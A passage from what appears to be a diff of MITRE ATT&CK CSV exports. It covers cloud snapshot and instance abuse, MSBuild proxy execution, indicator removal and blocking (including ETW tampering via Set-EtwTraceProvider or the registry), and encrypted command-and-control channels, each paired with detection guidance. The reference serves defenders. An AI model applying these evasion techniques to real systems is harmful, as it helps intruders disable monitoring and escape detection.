at scale by using Azure Monitor. Retrieved May 1, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor'}, {'source_name': 'Cloud Audit Logs', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity'}, {'source_name': 'GCP - Creating and Starting a VM', 'description': 'Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.', 'url': 'https://cloud.google.com/compute/docs/instances/create-start-instance#api_2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],['Snapshot: Snapshot Creation'],,"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API). In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs) -Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the ""sourceSnapshot"": parameter pointed to ""global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)",,,,,True,,,['User'],['IaaS'],,,,1.1 -2020-05-14 14:45:15.978000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) +Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the ""sourceSnapshot"": parameter pointed to ""global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)",True,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-14T14:45:15.978Z,2021-03-08T10:33:02.034Z,Create Cloud Instance,"An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020) -Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1578/002', external_id='T1578.002'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020'), ExternalReference(source_name='AWS CloudTrail Search', description='Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.', url='https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/'), ExternalReference(source_name='Azure Activity Logs', description='Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.', url='https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs'), ExternalReference(source_name='Cloud Audit Logs', description='Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', url='https://cloud.google.com/logging/docs/audit#admin-activity')]",attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-08 10:33:02.034000+00:00,Create Cloud Instance,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Instance: Instance Creation'],,,,,"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. +Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/002', 'external_id': 'T1578.002'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS CloudTrail Search', 'description': 'Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/'}, {'source_name': 'Azure Activity Logs', 'description': 'Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs'}, {'source_name': 'Cloud Audit Logs', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Instance: Instance Creation'],,"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. -In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)",,,,,True,,,['User'],['IaaS'],,,,1.1 -2020-03-27 21:50:26.042000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) +In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)",True,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-27T21:50:26.042Z,2021-10-15T23:57:07.973Z,MSBuild,"Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild) -Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1127/001', external_id='T1127.001'), ExternalReference(source_name='MSDN MSBuild', description='Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.', url='https://msdn.microsoft.com/library/dd393574.aspx'), ExternalReference(source_name='Microsoft MSBuild Inline Tasks 2017', description='Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.', url='https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element'), ExternalReference(source_name='LOLBAS Msbuild', description='LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Msbuild/')]",attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-05 22:25:48.777000+00:00,MSBuild,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Carrie Roberts, @OrOneEqualsOne']","['Process: Process Creation', 'Command: Command Execution']",,,,,Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.,,,,,True,,,,['Windows'],,[' .NET Framework version 4 or higher'],,1.1 -2020-03-19 21:27:32.820000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. +Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1127/001', 'external_id': 'T1127.001'}, {'source_name': 'MSDN MSBuild', 'description': 'Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.', 'url': 'https://msdn.microsoft.com/library/dd393574.aspx'}, {'source_name': 'Microsoft MSBuild Inline Tasks 2017', 'description': 'Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.', 'url': 'https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element'}, {'source_name': 'LOLBAS Msbuild', 'description': 'LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Msbuild/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['@ionstorm', 'Carrie Roberts, @OrOneEqualsOne']","['Process: Process Creation', 'Command: Command Execution']",,Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.,True,,['Windows'],1.2,,[' .NET Framework version 4 or higher'],,,,, +attack-pattern,attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-19T21:27:32.820Z,2020-03-29T21:03:09.766Z,Indicator Removal from Tools,"Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. -A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1027/005', external_id='T1027.005')]",attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 21:03:09.766000+00:00,Indicator Removal from Tools,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,"['Anti-virus', 'Host intrusion prevention systems', 'Log analysis', 'Signature-based detection']",,,,"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-19 19:09:30.329000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). +A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027/005', 'external_id': 'T1027.005'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,"['Anti-virus', 'Host intrusion prevention systems', 'Log analysis', 'Signature-based detection']","The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-19T19:09:30.329Z,2021-01-13T15:56:04.897Z,Indicator Blocking,"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations. -In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/006', external_id='T1562.006'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/571.html', external_id='CAPEC-571'), ExternalReference(source_name='Microsoft Lamin Sept 2017', description='Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.', url='https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A'), ExternalReference(source_name='Microsoft About Event Tracing 2018', description='Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.', url='https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events'), ExternalReference(source_name='Medium Event Tracing Tampering 2018', description='Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.', url='https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63')]",attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-01-13 15:56:04.897000+00:00,Indicator Blocking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Rob Smith'],"['Windows Registry: Windows Registry Key Modification', 'Sensor Health: Host Status', 'Command: Command Execution']","['Anti-virus', 'Host intrusion prevention systems']",,,,"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. +In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/006', 'external_id': 'T1562.006'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/571.html', 'external_id': 'CAPEC-571'}, {'source_name': 'Microsoft Lamin Sept 2017', 'description': 'Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A'}, {'source_name': 'Microsoft About Event Tracing 2018', 'description': 'Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events'}, {'source_name': 'Medium Event Tracing Tampering 2018', 'description': 'Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.', 'url': 'https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Rob Smith'],"['Windows Registry: Windows Registry Key Modification', 'Sensor Health: Host Status', 'Command: Command Execution']","['Anti-virus', 'Host intrusion prevention systems']","Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. -Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}",,,,,True,,,,"['Windows', 'macOS', 'Linux']",,,,1.0 -2020-03-16 15:48:33.882000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. +Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}",True,,"['Windows', 'macOS', 'Linux']",1.0,,,,,,, +attack-pattern,attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:48:33.882Z,2021-04-20T19:27:46.484Z,Asymmetric Cryptography,"Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. -For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1573/002', external_id='T1573.002'), ExternalReference(source_name='SANS Decrypting SSL', description='Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', url='http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'), ExternalReference(source_name='SEI SSL Inspection Risks', description='Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', url='https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2021-04-20 19:27:46.484000+00:00,Asymmetric Cryptography,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) +For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1573/002', 'external_id': 'T1573.002'}, {'source_name': 'SANS Decrypting SSL', 'description': 'Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', 'url': 'http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'}, {'source_name': 'SEI SSL Inspection Risks', 'description': 'Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', 'url': 'https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) -In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-16 15:45:17.032000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1573/001', external_id='T1573.001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 21:25:37.306000+00:00,Symmetric Cryptography,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:45:17.032Z,2020-03-26T21:25:37.306Z,Symmetric Cryptography,"Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1573/001', 'external_id': 'T1573.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. -In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'Windows', 'macOS']",,,,1.0 -2020-03-16 15:33:01.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1573', external_id='T1573'), ExternalReference(source_name='SANS Decrypting SSL', description='Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.', url='http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840'), ExternalReference(source_name='SEI SSL Inspection Risks', description='Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.', url='https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2021-04-20 19:27:46.650000+00:00,Encrypted Channel,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'Windows', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:33:01.739Z,2021-04-20T19:27:46.650Z,Encrypted Channel,"Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or 